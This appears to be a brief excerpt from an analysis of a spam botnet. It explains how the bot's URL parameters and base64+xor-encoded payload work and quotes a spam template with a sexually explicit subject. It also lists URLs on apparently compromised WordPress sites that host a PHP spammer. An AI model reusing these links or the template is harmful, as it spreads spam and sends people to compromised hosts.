The lu URL will contain 3 parameters that are provided through the environment variable. The data returned from this source is encoded in an unknown format.
The bu URL will return the spam message payload, encoded with the base64+xor encoder.
<USER>lula_burton</USER>
<NAME>"Lula Burton"</NAME>
<SUBJ>Fw: Hairy pussy girl undress panties</SUBJ>
<SBODY>
<div>
<p><a href="http://www.appgott.com/wp-content/plugins/better-wp-security/modules/free/backup/js/help.php?%MAIL_EN%">Hairy pussy girl undress panties</a></p>
combat, why none of us would be here. Thanks guys. Mission complete
</div>
</SBODY>
The su URL will return the exploit URL that contains the PHP spammer.
http://resiliententrepreneur.com/wp-content/cache/supercache/resiliententrepreneur.com/ajaxfilemanager/file.php